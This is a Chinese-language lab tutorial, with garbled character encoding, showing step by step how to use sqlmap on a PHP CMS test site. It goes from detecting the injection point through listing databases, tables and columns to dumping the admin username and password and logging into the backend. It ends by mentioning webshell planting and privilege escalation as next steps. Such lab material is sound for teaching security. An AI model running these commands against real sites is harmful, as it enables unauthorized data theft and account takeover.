1.9?(實驗)如何使用SQLMap進(jìn)行MySQL數(shù)據(jù)庫注入
第一步:打開目標(biāo)地址,先手工檢查一下是否存在注入點。
http://www.any.com/wcms/show.php?id=33頁面正常

http://www.any.com/wcms/show.php?id=33'正常報錯

說明存在注入漏洞。下面使用sqlmap進(jìn)行SQL注入操作。
第二步:使用sqlmap判斷一下是否存在注入漏洞(主要是看能否返回信息)
python?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33
使用的參數(shù)是-u,意思是url。當(dāng)給sqlmap這么一個url的時候,它會判斷可注入的參數(shù);判斷可以用那種SQL注入技術(shù)來注入;識別出哪種數(shù)據(jù)庫;根據(jù)用戶選擇,讀取哪些數(shù)據(jù)。實驗結(jié)果如下圖:

如果遇到類似于下圖箭頭所指的選擇,直接點擊回車即可。

最終結(jié)果如下圖所示:

對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
Web服務(wù)器的系統(tǒng)是Windows;web應(yīng)用技術(shù)的PHP版本是5.3.29,Apache版本是2.4.10;后臺數(shù)據(jù)庫使用的是MySQL,版本大于5.5。
第三步:獲取數(shù)據(jù)庫信息。
python?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33?--dbs#獲取所有數(shù)據(jù)庫信息

得到的數(shù)據(jù)庫結(jié)果如下圖:

對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
?系統(tǒng)由10個可以使用的數(shù)據(jù)庫,名稱分別是510cms,challenges,cms,dvwa,efucms,information_schema,mysql,performation_schema,security,test。
獲取當(dāng)前數(shù)據(jù)庫的信息使用的命令是python?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33?--current-db#獲取當(dāng)前數(shù)據(jù)庫信息


對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
?當(dāng)前網(wǎng)頁使用的數(shù)據(jù)庫名稱是cms。
第四步:指定庫名列出所有表
python.exe?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33?-D?cms?--tables使用參數(shù)-D來指定數(shù)據(jù)庫為cms,使用參數(shù)--tables來確定獲取的內(nèi)容是cms數(shù)據(jù)庫內(nèi)的表的名稱。


對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
?當(dāng)前網(wǎng)頁使用的數(shù)據(jù)庫名稱是cms。進(jìn)一步獲取到了cms庫所有的表,cms數(shù)據(jù)庫中的數(shù)據(jù)表有8個,名稱分別是cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,我們更關(guān)注cms_users這個表。根據(jù)經(jīng)驗,這里面存儲著后臺的管理賬號和密碼。
第五步:指定庫名表名列出所有字段。
python.exe?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33?-D?cms?-T?cms_users?--columns使用參數(shù)-D來指定數(shù)據(jù)庫為cms,使用-T來指定數(shù)據(jù)表的名稱是cms_users,使用參數(shù)--columns來確定獲取的內(nèi)容是cms數(shù)據(jù)庫內(nèi)的cms_users表中列的名稱。


對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
?當(dāng)前網(wǎng)頁使用的數(shù)據(jù)庫名稱是cms。數(shù)據(jù)表的名稱是cms_users。在這個表中有三個字段,字段名稱分別是password,userid,username,字符類型分別是最長是32位的字符型,最長為11位的整型和最長是20位的字符型數(shù)據(jù)。理論上password、和username分別存儲著密碼和用戶名。
第六步:指定庫名表名字段列出指定字段
python.exe?sqlmap/sqlmap.py?-u?http://www.any.com/wcms/show.php?id=33?-D?cms?-T?cms_users?-C?username,password?--dump使用參數(shù)-D來指定數(shù)據(jù)庫為cms,使用-T來指定數(shù)據(jù)表的名稱是cms_users,使用-C來指定數(shù)據(jù)表中列的名稱是username和password,使用參數(shù)--dump來確定獲取的內(nèi)容是cms數(shù)據(jù)庫內(nèi)的cms_users表中的username和password列的內(nèi)容字段。

在執(zhí)行過程中,會需要我們屬于選擇一下y或者n,默認(rèn)的是大寫選項,默認(rèn)即可(一直按Enter鍵即可)。

最終實驗結(jié)果結(jié)果如圖所示:

對最終結(jié)果的分析(上圖中紅框內(nèi)的部分):
當(dāng)前網(wǎng)頁使用的數(shù)據(jù)庫名稱是cms。數(shù)據(jù)表的名稱是cms_users。在這個表中的username和password對應(yīng)的內(nèi)容分別是?admin?和123456。
第七步:在后臺登陸一下。至于后臺的查找,我們可以通過御劍這款專業(yè)的后臺查找工具,后續(xù)實驗中會有詳細(xì)的介紹,這里不再贅述。
使用的網(wǎng)址是http://www.any.com/wcms/admin/login.php

輸入用戶名和密碼?admin 123456

?登陸成功。關(guān)于sqlmap的入侵整個實驗過程已經(jīng)結(jié)束,后續(xù)的工作就是掛馬提權(quán),這些內(nèi)容也會在后續(xù)的實驗中進(jìn)行詳細(xì)的介紹。